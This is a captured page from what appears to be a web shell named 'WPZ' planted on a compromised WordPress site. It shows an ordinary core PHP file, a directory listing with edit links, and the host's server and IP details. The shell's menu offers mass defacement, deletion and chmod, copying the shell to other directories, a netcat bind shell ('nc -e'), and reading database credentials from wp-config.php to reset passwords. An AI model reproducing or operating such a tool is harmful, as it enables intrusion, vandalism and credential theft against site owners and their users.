WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / block-supports / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-includes/block-supports/generated-classname.php (1.7 KB)
<?php
/**
 * Generated classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Gets the generated classname from a given block name.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param string $block_name Block Name.
 * @return string Generated classname.
 */
function wp_get_block_default_classname( $block_name ) {
	// Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature.
	// Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/').
	$classname = 'wp-block-' . preg_replace(
		'/^core-/',
		'',
		str_replace( '/', '-', $block_name )
	);

	/**
	 * Filters the default block className for server rendered blocks.
	 *
	 * @since 5.6.0
	 *
	 * @param string $class_name The current applied classname.
	 * @param string $block_name The block name.
	 */
	$classname = apply_filters( 'block_default_classname', $classname, $block_name );

	return $classname;
}

/**
 * Adds the generated classnames to the output.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_generated_classname_support( $block_type ) {
	$attributes                      = array();
	$has_generated_classname_support = block_has_support( $block_type, 'className', true );
	if ( $has_generated_classname_support ) {
		$block_classname = wp_get_block_default_classname( $block_type->name );

		if ( $block_classname ) {
			$attributes['class'] = $block_classname;
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'generated-classname',
	array(
		'apply' => 'wp_apply_generated_classname_support',
	)
);
namawaktuukuranownerpermaksi
..
align.php 2026-02-23 19:411.67 KB 76129f60960:kunden-xw-x-----
edt
anchor.php 2026-05-21 09:111.54 KB 76129f60960:kunden-xw-x--x--
edt
aria-label.php 2026-05-21 09:111.65 KB 76129f60960:kunden-xw-x--x--
edt
auto-register.php 2026-05-21 09:112.18 KB 76129f60960:kunden-xw-x--x--
edt
background.php 2026-08-20 11:464.79 KB 76129f60960:kunden-xw-x-----
edt
block-style-variations.php 2026-08-20 11:469.59 KB 76129f60960:kunden-xw-x--x--
edt
block-visibility.php 2026-08-20 11:464.01 KB 76129f60960:kunden-xw-x--x--
edt
border.php 2026-05-21 09:116.1 KB 76129f60960:kunden-xw-x--x--
edt
colors.php 2026-08-20 11:465.97 KB 76129f60960:kunden-xw-x--x--
edt
custom-classname.php 2026-02-23 19:411.64 KB 76129f60960:kunden-xw-x-----
edt
custom-css.php 2026-08-20 11:4610.04 KB 76129f60960:kunden-xw-x--x--
edt
dimensions.php 2026-08-20 11:465.85 KB 76129f60960:kunden-xw-x--x--
edt
duotone.php 2026-02-23 19:412.67 KB 76129f60960:kunden-xw-x-----
edt
elements.php 2026-08-20 11:469.31 KB 76129f60960:kunden-xw-x--x--
edt
generated-classname.php 2026-02-23 19:411.7 KB 76129f60960:kunden-xw-x-----
edt
layout.php 2026-08-20 11:4659.47 KB 76129f60960:kunden-xw-x--x--
edt
position.php 2026-05-21 09:114.01 KB 76129f60960:kunden-xw-x--x--
edt
settings.php 2026-08-20 11:464.44 KB 76129f60960:kunden-xw-x--x--
edt
shadow.php 2026-02-23 19:412.04 KB 76129f60960:kunden-xw-x-----
edt
spacing.php 2026-05-21 09:112.68 KB 76129f60960:kunden-xw-x--x--
edt
states.php 2026-09-18 04:0121.66 KB 76129f60960:kunden-xw-x--x--
edt
typography.php 2026-08-20 11:4627.97 KB 76129f60960:kunden-xw-x--x--
edt
utils.php 2026-02-23 19:411011 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-includes/block-supports
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK